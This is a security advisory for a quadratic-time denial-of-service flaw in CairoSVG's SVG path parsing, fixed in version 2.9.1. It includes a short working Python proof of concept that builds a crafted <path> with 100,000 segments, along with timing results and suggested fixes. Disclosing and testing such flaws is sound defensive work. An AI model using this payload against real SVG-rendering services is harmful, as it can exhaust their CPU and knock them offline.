cairosvg
Affected
- introduced
0, fixed2.9.1(ecosystem)
Fixed versions
2.9.1
Fix
- Fixed version
2.9.1pip install --upgrade cairosvg==2.9.1
Advisory
Also known as: CVE-2026-107378, GHSA-c3jg-qh8m-j3h2
CairoSVG: Quadratic-time DoS parsing a crafted SVG <path>
Summary
Rendering an untrusted SVG whose <path d="..."> contains many segments is O(n²) CPU. A single <path> under 1 MiB burns tens of seconds. Two independent O(n²) sites in cairosvg/path.py:
d string with a while string: loop that repeatedly slices/re-scans the *remaining* string (each step is O(len remaining)), giving O(n²) over the whole attribute.node.vertices with while node.vertices: ... node.vertices.pop(0); list.pop(0) is O(n), so draining n vertices is O(n²).Both are hit on a normal render path (svg2png/svg2pdf), attacker controls only the SVG document.
PoC (installed cairosvg 2.9.0)
import cairosvg
d = "M0 0 " + "L1 1 " * 100000
svg = f'<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><path d="{d}"/></svg>'
cairosvg.svg2png(bytestring=svg.encode()) # ~4.4 s for a 488 KB doc
| path segments | SVG size | time |
|---|---|---|
| 50,000 | 244 KB | 1.14 s |
| 100,000 | 488 KB | 4.36 s |
| 200,000 | ~960 KB | ~18 s |
Doubling segments ≈ 4× time ⇒ quadratic. Sub-MiB input ⇒ ~18 s CPU; any service rendering user-supplied SVG (thumbnails, avatars, PDF export) is a DoS target.
Reachability
Public API svg2png / svg2pdf / svg2ps on an untrusted SVG string.
Suggested fix
Tokenize with a single forward scan / index (or re.finditer) instead of re-slicing the remainder; drain vertices with an index or collections.deque.popleft instead of list.pop(0). Optionally cap path-segment count.
Not rated by the source.
0, fixed 2.9.1 (ecosystem)2.9.1
2.9.1pip install --upgrade cairosvg==2.9.1Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0